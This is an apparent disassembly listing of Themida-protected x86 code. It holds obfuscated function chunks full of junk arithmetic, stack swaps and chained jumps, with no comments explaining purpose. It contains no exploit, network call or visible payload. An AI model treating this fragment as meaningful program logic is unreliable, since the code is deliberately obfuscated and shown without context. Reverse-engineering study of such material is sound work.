; FUNCTION CHUNK AT 00569C24 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056A3C9 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056C117 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056DAF9 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056EEB1 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056F37F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005707B4 SIZE 00000017 BYTES
push ebp
jmp loc_5707B4
sub_5643BC endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_5643C2: ; CODE XREF: Themida_:0055FC72j
pop esp
jmp loc_564F40
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5643C8: ; CODE XREF: sub_56755A+82Bj
add edx, 53A92B14h
pop edi
add edx, esi
jmp loc_56088D
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5643D6: ; CODE XREF: Themida_:00560617j
mov esi, 3186B62h
add esi, 0FFFFFFFFh
jmp loc_567BFC
; ---------------------------------------------------------------------------
loc_5643E6: ; CODE XREF: Themida_:0055D014j
sub ch, dl
pop edx
sub al, 5Ah
add al, ch
jmp loc_55D1C7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5643F2: ; CODE XREF: sub_56755A+B1Dj
mov ebp, edi
mov edi, [esp-14h+arg_10]
push edi
mov edi, esp
jmp loc_561137
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56542E
loc_5643FF: ; CODE XREF: sub_56542E+3E34j
xor [esp+4+var_4], ebp
jmp loc_56419F
; END OF FUNCTION CHUNK FOR sub_56542E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_564407: ; CODE XREF: sub_56755A-64A8j
mov eax, 2242112h
mov esi, eax
pop eax
sub eax, esi
pop esi
add ebp, 46926456h
add ebp, eax
push ecx
jmp loc_56D1F0
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_564420: ; CODE XREF: Themida_:0055CE72j
and eax, 79841566h
jmp loc_561638
; ---------------------------------------------------------------------------
loc_56442A: ; CODE XREF: Themida_:0056575Ej
push dword ptr [esp]
pop edx
add esp, 4
xor esi, [esp]
xor [esp], esi
jmp loc_55BF70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56443C: ; CODE XREF: sub_56755A+278Aj
neg ecx
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp+16h+var_18+2]
jmp loc_56ABDE
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_564452: ; CODE XREF: Themida_:0055E0D6j
jmp loc_55B555
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F653
loc_564457: ; CODE XREF: sub_56F653-D8D7j
mov edx, [esp+0]
add esp, 4
inc bh
add bh, 8
jmp loc_55DDD3
; END OF FUNCTION CHUNK FOR sub_56F653
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565CEF
loc_564467: ; CODE XREF: sub_565CEF+9710j
mov esi, 4
push edx
mov edx, 17197566h
sub esp, 4
mov [esp+0Ch+var_C], ecx
mov ecx, 0AC6114Dh
add ecx, 0F539EEB2h
jmp loc_56E83D
; END OF FUNCTION CHUNK FOR sub_565CEF
; ---------------------------------------------------------------------------
loc_564488: ; CODE XREF: Themida_:0056B657j
push 6282h
mov [esp], ebp
jmp loc_56AD53
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_564495: ; CODE XREF: sub_56755A+B4Ej
add ebp, 0F976EEBBh
jmp loc_562993
; END OF FUNCTION CHUNK FOR sub_56755A
; =============== S U B R O U T I N E =======================================
sub_5644A0 proc near ; CODE XREF: sub_56755A-12C5j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055D59A SIZE 0000001B BYTES
sub esp, 4
jmp loc_55D59A
sub_5644A0 endp
; ---------------------------------------------------------------------------
loc_5644A8: ; CODE XREF: Themida_:0056E062j
add esp, 4
push 6A96h
mov [esp], ecx
push 486B7296h
pop ecx
sub esp, 4
jmp loc_56B528
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5644C1: ; CODE XREF: sub_56755A-5E7j
or ecx, 2745540Ch
add ecx, 3B273804h
add ecx, 0E6DDFB3Ch
sub esi, ecx
mov ecx, [esp+16h+var_18+2]
jmp loc_56DE20
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562FB2
loc_5644DD: ; CODE XREF: sub_562FB2-2661j
push esi
jmp loc_56F257
; END OF FUNCTION CHUNK FOR sub_562FB2
; ---------------------------------------------------------------------------
loc_5644E3: ; CODE XREF: Themida_:0055C040j
push esp
pop dword ptr [esp]
push 430Ah
mov [esp], edi
mov edi, 4
add [esp+4], edi
jmp loc_56039D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566504
loc_5644FD: ; CODE XREF: sub_566504-31CFj
add ecx, 4
sub ecx, 4
jmp loc_55DCA5
; END OF FUNCTION CHUNK FOR sub_566504
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FE13
loc_56450E: ; CODE XREF: sub_55FE13+2B71j
sub al, 65h
mov dl, al
mov eax, [esp+4+var_6+2]
add esp, 4
mov bh, dl
mov edx, [esp+0]
add esp, 4
sub dl, bh
pop bx
jmp loc_56A2A5
; END OF FUNCTION CHUNK FOR sub_55FE13
; ---------------------------------------------------------------------------
loc_56452C: ; CODE XREF: Themida_:0055FD00j
push dword ptr [esp]
pop edx
add esp, 4
sub esp, 4
mov [esp], ebx
mov ebx, 56272EE7h
sub ebx, 0FFFFFFFFh
or ebx, 5B411AB1h
or ebx, 6DA56244h
jmp loc_5628F2
; ---------------------------------------------------------------------------
loc_56455B: ; CODE XREF: Themida_:00569C15j
and edi, 4A473FFCh
add edi, 7DAE4079h
xor edx, edi
mov edi, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_56A9AB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_564584: ; CODE XREF: sub_56755A+3EAEj
mov edx, [esp+16h+var_18+2]
add esp, 4
pop eax
jmp loc_562609
; ---------------------------------------------------------------------------
loc_564590: ; CODE XREF: sub_56755A-667j
mov [esp+0Eh+var_10+2], esi
sub esp, 4
mov [esp+12h+var_14+2], ebx
mov ebx, 690156C8h
not ebx
shl ebx, 7
xor ebx, 568A3071h
jmp loc_5636CA
; ---------------------------------------------------------------------------
loc_5645AE: ; CODE XREF: sub_56755A+3A91j
xor ebp, 0EFE77ECAh
mov ecx, ebp
jmp loc_56835E
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5645BB: ; CODE XREF: Themida_:0056B8E7j
add bh, 32h
shl bh, 1
or bh, 9
sub bh, 3Fh
push ecx
jmp loc_567355
; ---------------------------------------------------------------------------
loc_5645CC: ; CODE XREF: Themida_:0056307Fj
mov ah, ch
pop ecx
add ch, ah
pop ax
jmp loc_570086
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push ebp
jmp loc_561DA9
; ---------------------------------------------------------------------------
loc_5645E1: ; CODE XREF: Themida_:0056CD0Ej
mov [esp], ebp
push 31B869ACh
jmp loc_569C8C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5645EE: ; CODE XREF: sub_56755A-19F5j
push 77EDh
mov [esp+16h+var_18+2], ecx
push edx
mov ecx, [esp+1Ah+var_1C+2]
add esp, 4
push ecx
jmp loc_56B308
; END OF FUNCTION CHUNK FOR sub_56755A
; =============== S U B R O U T I N E =======================================
sub_564603 proc near ; CODE XREF: sub_5643BC+7D61j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055FC3C SIZE 0000000E BYTES
sub esp, 4
mov [esp+4+var_4], ebp
mov ebp, esp
sub esp, 4
mov [esp+8+var_8], esi
mov esi, 4600761Bh
jmp loc_55FC3C
sub_564603 endp
; ---------------------------------------------------------------------------
loc_564621: ; CODE XREF: Themida_:0055D519j
xchg edx, [esp]
pop esp
mov [esp], ecx
push 5097h
jmp loc_56E2F9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_564632: ; CODE XREF: sub_56755A+BF6j
pop ebx
pop ecx
add eax, ebp
push 1AFCh
mov [esp+16h+var_18+2], ebx
mov ebx, 494B41F7h
jmp loc_565439
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_564648: ; CODE XREF: Themida_:0056D4C0j
push 25268AE9h
mov edi, [esp]
add esp, 4
push ebp
mov ebp, 5D9E1604h
push ecx
mov ecx, 78BC42CEh
jmp loc_56E11F
; ---------------------------------------------------------------------------
loc_564667: ; CODE XREF: Themida_:0055F778j
push esp
pop ebx
push eax
push esi
mov esi, 46D90E22h
push eax
mov eax, 21F50D71h
sub esi, eax
pop eax
xor esi, 1B97D8Bh
sub esi, 255D7D36h
mov eax, esi
pop esi
sub ebx, 168E6053h
jmp loc_56EB42
; ---------------------------------------------------------------------------
loc_564693: ; CODE XREF: Themida_:0055F855j
push edi
mov edi, esp
add edi, 4
jmp loc_56B33F
; ---------------------------------------------------------------------------
loc_5646A1: ; CODE XREF: Themida_:0055C5E8j
mov cx, [esp]
push ebx
mov ebx, esp
push eax
push edx
push ebx
mov ebx, 6B7173BBh
mov edx, ebx
pop ebx
mov eax, 0BD92D8D5h
sub eax, edx
mov edx, [esp]
add esp, 4
jmp loc_56ED7A
; ---------------------------------------------------------------------------
loc_5646C8: ; CODE XREF: Themida_:0056DD30j
mov ecx, ebp
pop ebp
jmp loc_56EFF5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55DA88
loc_5646D0: ; CODE XREF: sub_55DA88+EAABj
mov ebx, [esp+0]
jmp loc_5656D1
; END OF FUNCTION CHUNK FOR sub_55DA88
; ---------------------------------------------------------------------------
loc_5646D8: ; CODE XREF: Themida_:0056EA62j
xor ebx, [esp]
mov esp, [esp]
jmp loc_55ECDF
; =============== S U B R O U T I N E =======================================
sub_5646E3 proc near ; CODE XREF: sub_5608D9+9j
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0055D438 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055D4A2 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0055E89B SIZE 00000037 BYTES
; FUNCTION CHUNK AT 005609AD SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00563F93 SIZE 00000009 BYTES
push ebx
jmp loc_55E89B
sub_5646E3 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_5646E9: ; CODE XREF: Themida_:005699FDj
mov edx, 4
add edi, edx
pop edx
sub esp, 4
jmp loc_56A8B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5646F9: ; CODE XREF: sub_56755A-43B4j
add esp, 2
jmp loc_564B59
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_564704: ; CODE XREF: Themida_:0056E049j
xor edi, 6A0A3511h
mov ecx, edi
pop edi
mov edx, ecx
pop ecx
push ebp
jmp loc_56D00D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55EC76
loc_564716: ; CODE XREF: sub_55EC76+393Aj
mov edi, 242A02EBh
jmp loc_56D707
; END OF FUNCTION CHUNK FOR sub_55EC76
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5615A9
loc_564720: ; CODE XREF: sub_5615A9+BEDDj
mov ch, 7Ch
jmp loc_55C7C8
; END OF FUNCTION CHUNK FOR sub_5615A9
; ---------------------------------------------------------------------------
loc_564727: ; CODE XREF: Themida_:0055F592j
xor eax, 3A533DDEh
jmp loc_55FB4F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_564731: ; CODE XREF: sub_56755A-6968j
pop ecx
jmp loc_55C187
; ---------------------------------------------------------------------------
loc_564737: ; CODE XREF: sub_56755A-441Ej
sub esi, edi
push ebp
jmp loc_566A3E
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56473F: ; CODE XREF: Themida_:0056632Dj
push 5DF83F84h
pop edi
shr edi, 7
sub edi, 0BBF07Bh
mov edx, edi
jmp loc_55CC0E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566C65
loc_564755: ; CODE XREF: sub_566C65+90B9j
mov edi, 30B80F42h
sub edi, 61344E39h
xor edi, 0CF83C10Dh
mov ebp, edi
pop edi
sub edx, ebp
mov ebp, [esp+4+var_4]
add esp, 4
xor edx, [esp+0]
xor [esp+0], edx
xor edx, [esp+0]
mov esp, [esp+0]
mov [esp+0], eax
jmp loc_56AEA6
; END OF FUNCTION CHUNK FOR sub_566C65
; ---------------------------------------------------------------------------
loc_564788: ; CODE XREF: Themida_:0056D084j
dec edi
sub edi, 77B31741h
mov eax, edi
pop edi
jmp loc_569B6D
; ---------------------------------------------------------------------------
loc_564797: ; CODE XREF: Themida_:00562B24j
pop esp
mov [esp], edi
push ecx
mov ecx, 476B0B49h
jmp loc_567DB2
; ---------------------------------------------------------------------------
push dword ptr [edi+3Ch]
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_561295
; ---------------------------------------------------------------------------
loc_5647B8: ; CODE XREF: Themida_:005609DFj
jmp loc_55B555
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CD48
loc_5647BD: ; CODE XREF: sub_56CD48-BB60j
pop esi
add esp, 4
loc_5647C1: ; CODE XREF: sub_55BA18+Cj
push 344Eh
jmp loc_566A1A
; END OF FUNCTION CHUNK FOR sub_56CD48
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560CAA
loc_5647CB: ; CODE XREF: sub_560CAA+2811j
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_560CAA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5647D0: ; CODE XREF: sub_56755A+390Dj
add al, cl
pop cx
push edx
mov dh, 0D2h
sub dh, 45h
jmp loc_568DC6
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5647DF: ; CODE XREF: Themida_:0056FBF4j
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_5647E4: ; CODE XREF: Themida_:0056D01Ej
sub ebx, ebp
sub ebx, 689E1C51h
jmp loc_56CC64
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5647F1: ; CODE XREF: sub_56755A-AE46j
mov ebx, 609B4C55h
push 3AB7h
mov [esp+0Ch+var_C], esi
mov esi, ebx
mov ecx, esi
push [esp+0Ch+var_C]
mov esi, [esp+10h+var_10]
add esp, 4
add esp, 4
jmp loc_56392C
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_564819: ; CODE XREF: Themida_:0056A34Dj
mov [esp], ecx
jmp loc_56EFB9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_564821: ; CODE XREF: sub_56755A-9BEj
push edi
mov edi, 3ED48BBh
not edi
sub edi, 0A1F0E626h
xor eax, edi
pop edi
and ecx, eax
pop eax
push eax
mov eax, 28241DC9h
jmp loc_56E383
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB1B
loc_564840: ; CODE XREF: sub_56CB1B-8B2Cj
sub ebx, 3C09189Eh
jmp loc_561FE6
; END OF FUNCTION CHUNK FOR sub_56CB1B
; ---------------------------------------------------------------------------
loc_56484B: ; CODE XREF: Themida_:0055B9E8j
push ebx
mov ebx, 76AA53EFh
jmp loc_55EB41
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55E931
loc_564856: ; CODE XREF: sub_55E931+Fj
push ecx
mov ecx, 40ED4E54h
push ebx
mov ebx, 23AF277Eh
inc ebx
xor ebx, 262659ACh
mov edi, ebx
mov ebx, [esp+4+var_4]
add esp, 4
xor edi, ecx
mov ecx, [esp+0]
add esp, 4
push ebx
push ebp
mov ebp, 36853576h
or ebp, 59E35F2Eh
add ebp, 49574014h
add ebp, 3DEB38A9h
jmp loc_56A7F4
; END OF FUNCTION CHUNK FOR sub_55E931
; ---------------------------------------------------------------------------
loc_56489D: ; CODE XREF: Themida_:00560941j
mov dl, 0E6h
push ax
push ebx
push ecx
mov cl, 0E9h
mov bh, 2Ah
xor bh, cl
jmp loc_55E3B7
; ---------------------------------------------------------------------------
loc_5648AE: ; CODE XREF: Themida_:00562604j
add ebx, 4
sub ebx, 4
jmp loc_5684AB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5648BF: ; CODE XREF: sub_56755A-AEB9j
pop edi
jmp loc_56C3E3
; ---------------------------------------------------------------------------
loc_5648C5: ; CODE XREF: sub_56755A+A15j
mov eax, [esp+1Ah+var_1C+2]
add esp, 4
add esi, 731D6DC9h
jmp loc_563288
; ---------------------------------------------------------------------------
loc_5648D6: ; CODE XREF: sub_56755A-1FE4j
xor edi, eax
jmp loc_55D5E0
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56971C
loc_5648DD: ; CODE XREF: sub_56971C+6A3Fj
mov edi, 754927DFh
xor eax, edi
jmp loc_562AC6
; END OF FUNCTION CHUNK FOR sub_56971C
; ---------------------------------------------------------------------------
loc_5648E9: ; CODE XREF: Themida_:00564AB4j
mov [esp], ecx
push 2AC61648h
jmp loc_56C736
; ---------------------------------------------------------------------------
loc_5648F6: ; CODE XREF: Themida_:005654E1j
mov esi, 93F452Dh
jmp loc_5610A5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_564900: ; CODE XREF: sub_56755A+50C8j
sub ebx, ecx
pop ecx
add ebx, 3F5174EDh
push edi
push esp
pop edi
add edi, 4
jmp loc_561B4C
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_564917: ; CODE XREF: sub_56E89A-11305j
sub ebp, eax
pop eax
sub esi, ebp
push [esp+4+var_4]
mov ebp, [esp+8+var_8]
add esp, 4
add esp, 4
xor eax, esi
jmp loc_55CB01
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
loc_564932: ; CODE XREF: Themida_:005652AEj
mov [esp], ebp
push ebx
mov ebx, 2CE84196h
mov ebp, 5286BD4h
xor ebp, ebx
pop ebx
jmp loc_568ED7
; ---------------------------------------------------------------------------
loc_564948: ; CODE XREF: Themida_:0056DA75j
push ebx
jmp loc_5612A2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56494E: ; CODE XREF: sub_56755A+3117j
push [esp+16h+var_14+2]
pop ecx
pop [esp+16h+var_18+2]
mov esp, [esp+12h+var_14+2]
sub esp, 4
mov [esp+16h+var_18+2], ebp
mov ebp, 46557FDFh
shr ebp, 5
sub ebp, 786C0FEAh
sub ebp, 57307392h
sub edx, ebp
pop ebp
mov ebx, edx
mov edx, [esp+12h+var_14+2]
push edi
mov edi, esp
push eax
mov eax, 4
add edi, eax
pop eax
jmp loc_561FDF
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565C92
loc_56498F: ; CODE XREF: sub_565C92-29Fj
mov ebp, [esp+4+var_4]
add esp, 4
push dword ptr [esp+0]
jmp loc_5666F4
; END OF FUNCTION CHUNK FOR sub_565C92
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56499D: ; CODE XREF: sub_56755A+85A3j
pop esi
sub ebx, 60E56130h
jmp loc_562195
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5649A9: ; CODE XREF: Themida_:005628EDj
mov edx, [esp]
add esp, 4
push 71B3h
jmp loc_5669AC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56971C
loc_5649BC: ; CODE XREF: sub_56971C-6837j
add eax, 65022CB6h
pop ebx
xor eax, 5452AFFBh
sub ebx, eax
pop eax
push ebx
mov ecx, [esp+18h+var_18]
add esp, 4
jmp loc_56A919
; END OF FUNCTION CHUNK FOR sub_56971C
; ---------------------------------------------------------------------------
loc_5649D9: ; CODE XREF: Themida_:0056B69Bj
push 26EDh
mov [esp], edx
mov dl, 0Bh
push ecx
jmp loc_570572
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5649E9: ; CODE XREF: sub_56755A+158j
sub dh, cl
sub dh, 0D0h
mov ecx, [esp+12h+var_14+2]
add esp, 4
push eax
mov al, 0A9h
xor al, 59h
jmp loc_55F6C3
; END OF FUNCTION CHUNK FOR sub_56755A
; =============== S U B R O U T I N E =======================================
sub_5649FE proc near ; CODE XREF: sub_56755A+763Ej
var_4 = dword ptr -4
sub esp, 4
mov [esp+4+var_4], ebx
push edi
mov edi, 16FC36A9h
jmp sub_5687A9
sub_5649FE endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_564A0F: ; CODE XREF: sub_56755A-51B7j
mov [esp-14h+arg_10], ecx
jmp loc_56E844
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_564A17: ; CODE XREF: Themida_:00569E1Cj
mov ecx, [esp]
push edx
mov edx, esp
add edx, 4
jmp loc_56212A
; ---------------------------------------------------------------------------
loc_564A28: ; CODE XREF: Themida_:0056A9A6j
add ecx, 4
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
pop dword ptr [esp]
mov esp, [esp]
idiv cx
push ebx
sub esp, 4
mov [esp], esp
push esi
jmp loc_563403
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564356
loc_564A54: ; CODE XREF: sub_564356+4228j
and ecx, 0FE31840h
not ecx
push eax
mov eax, 39F57803h
add ecx, eax
jmp loc_560806
; END OF FUNCTION CHUNK FOR sub_564356
; ---------------------------------------------------------------------------
loc_564A69: ; CODE XREF: Themida_:00564DE1j
pop ebx
jmp loc_568805
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
jmp loc_569CE9
; ---------------------------------------------------------------------------
loc_564A7D: ; CODE XREF: Themida_:0056B03Aj
inc ebx
neg ebx
not ebx
push esi
mov esi, 3F9062A2h
and ebx, esi
pop esi
xor ebx, 50D51393h
xor ebp, ebx
pop ebx
sub ecx, ebp
pop ebp
push ecx
pop edx
pop ecx
push edi
mov edi, 3CF85A13h
jmp loc_565387
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_564AA5: ; CODE XREF: sub_56755A+2319j
push ecx
push edx
mov edx, 4F977183h
jmp loc_55BDC2
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_564AB1: ; CODE XREF: Themida_:005706ABj
sub esp, 4
jmp loc_5648E9
; ---------------------------------------------------------------------------
loc_564AB9: ; CODE XREF: Themida_:0056FF98j
xchg eax, edi
jmp loc_56078F
; ---------------------------------------------------------------------------
loc_564ABF: ; CODE XREF: Themida_:0056658Bj
xor ch, 7Ah
jmp loc_565149
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565C4A
loc_564AC7: ; CODE XREF: sub_565C4A-8E5Bj
push ecx
mov ecx, 3F191BBEh
sub edi, ecx
mov ecx, [esp+4+var_4]
add esp, 4
add edi, ecx
add edi, 3F191BBEh
mov ecx, [esp+0]
add esp, 4
xchg edi, [esp-4+arg_0]
mov esp, [esp-4+arg_0]
shl word ptr [esp-4+arg_0], cl
pushf
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_565C4A
; ---------------------------------------------------------------------------
loc_564AF9: ; CODE XREF: Themida_:00570449j
add eax, edi
pop edi
xchg eax, [esp]
mov esp, [esp]
mov ax, [esp]
push ecx
jmp loc_55C10A
; ---------------------------------------------------------------------------
loc_564B0C: ; CODE XREF: Themida_:0056A6B9j
mov esp, [esp]
add [esp], eax
pushf
jmp loc_55E201
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56026A
loc_564B18: ; CODE XREF: sub_56026A+9E2Aj
sub ebp, 4
xchg ebp, [esp+10h+var_10]
jmp loc_56B8C7
; END OF FUNCTION CHUNK FOR sub_56026A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561D98
loc_564B23: ; CODE XREF: sub_561D98+3209j
mov [esp+0], eax
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_561D98
; ---------------------------------------------------------------------------
loc_564B2B: ; CODE XREF: Themida_:0056D612j
push esi
mov esi, 558539C5h
not esi
add esi, 558539CAh
add edi, esi
mov esi, [esp]
add esp, 4
push edx
jmp loc_5706F6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_564B47: ; CODE XREF: sub_56755A-6F79j
sub eax, 0C80FE5A2h
sub [esp+0Ch+var_8], 28E73520h
jmp loc_566F93
; ---------------------------------------------------------------------------
loc_564B59: ; CODE XREF: sub_56755A-2E5Bj
movzx eax, al
lea eax, [edi+eax*4]
push ecx
push 61D1h
mov [esp+2Ah+var_2C+2], esp
add [esp+2Ah+var_2C+2], 4
mov ecx, [esp+2Ah+var_2C+2]
add esp, 4
push eax
push 2346h
mov [esp+2Eh+var_30+2], edi
jmp loc_56902B
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_564B86: ; CODE XREF: Themida_:0055F877j
push 35B3h
mov [esp], edi
push edx
mov edx, 18765521h
jmp loc_56FBD3
; ---------------------------------------------------------------------------
loc_564B99: ; CODE XREF: Themida_:0056BD3Dj
mov [esp], ebx
mov ebx, 4
sub eax, 0B693751h
jmp loc_56675D
; ---------------------------------------------------------------------------
loc_564BAB: ; CODE XREF: Themida_:005608B8j
add esp, 4
xchg esi, [esp]
pop esp
add esi, ebx
push dword ptr [esp]
pop ebx
add esp, 4
push esi
jmp loc_56CAEF
; ---------------------------------------------------------------------------
mov cx, [esp]
push 776Dh
mov [esp], edi
push esp
jmp loc_56325C
; ---------------------------------------------------------------------------
loc_564BD3: ; CODE XREF: Themida_:00562AE8j
and ch, 0ACh
jmp loc_565D25
; ---------------------------------------------------------------------------
loc_564BDB: ; CODE XREF: Themida_:0056F024j
mov [esp], ecx
mov ecx, 869EA3AAh
sub esi, ecx
pop ecx
sub esp, 4
mov [esp], edi
push esi
pop edi
mov ebp, edi
push dword ptr [esp]
mov edi, [esp]
add esp, 4
push ebx
jmp loc_562F37
; ---------------------------------------------------------------------------
loc_564BFF: ; CODE XREF: Themida_:005621E2j
xchg ebx, ebp
not ebp
add ebp, 6555F53Ah
xor ecx, ebp
jmp loc_565BB4
; ---------------------------------------------------------------------------
loc_564C10: ; CODE XREF: Themida_:00565D92j
mov ebp, 390E5A28h
xor ebp, 7AE223D5h
neg ebp
add ebp, 43EC7A01h
add esi, ebp
pop ebp
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
push 3DA0h
mov [esp], eax
push 1C09h
push 1A1Bh
mov [esp], esp
add dword ptr [esp], 4
pop dword ptr [esp]
jmp loc_55F112
; ---------------------------------------------------------------------------
loc_564C51: ; CODE XREF: Themida_:00567350j
push 203h
jmp loc_56CCF1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55C719
loc_564C5B: ; CODE XREF: sub_55C719+A733j
sub ebx, 4
xor ebx, [esp+8+var_8]
xor [esp+8+var_8], ebx
xor ebx, [esp+8+var_8]
pop esp
mov [esp+4+var_4], esi
push eax
push 0B3D4A08h
pop eax
push ebx
mov ebx, 0F4C2B678h
add eax, ebx
pop ebx
push eax
sub [esp+0Ch+var_C], 220C7256h
pop esi
add esi, 220C7256h
pop eax
push 2919h
jmp loc_5672E3
; END OF FUNCTION CHUNK FOR sub_55C719
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563973
loc_564C95: ; CODE XREF: sub_563973+7D7Dj
xchg ebx, edx
not ebx
xor edx, ebx
jmp loc_55EDB9
; END OF FUNCTION CHUNK FOR sub_563973
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56971C
loc_564CA0: ; CODE XREF: sub_56971C-D8D9j
sub ecx, edx
pop edx
add edi, ecx
pop ecx
xchg edi, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
push ebp
jmp loc_567AA4
; END OF FUNCTION CHUNK FOR sub_56971C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561C3A
loc_564CB2: ; CODE XREF: sub_561C3A+7D50j
add esp, 4
and edi, ecx
push [esp-8+arg_4]
pop ecx
jmp loc_567D02
; END OF FUNCTION CHUNK FOR sub_561C3A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_564CC0: ; CODE XREF: sub_56755A-98D9j
mov ecx, 0C0C294F7h
jmp loc_56AA04
; ---------------------------------------------------------------------------
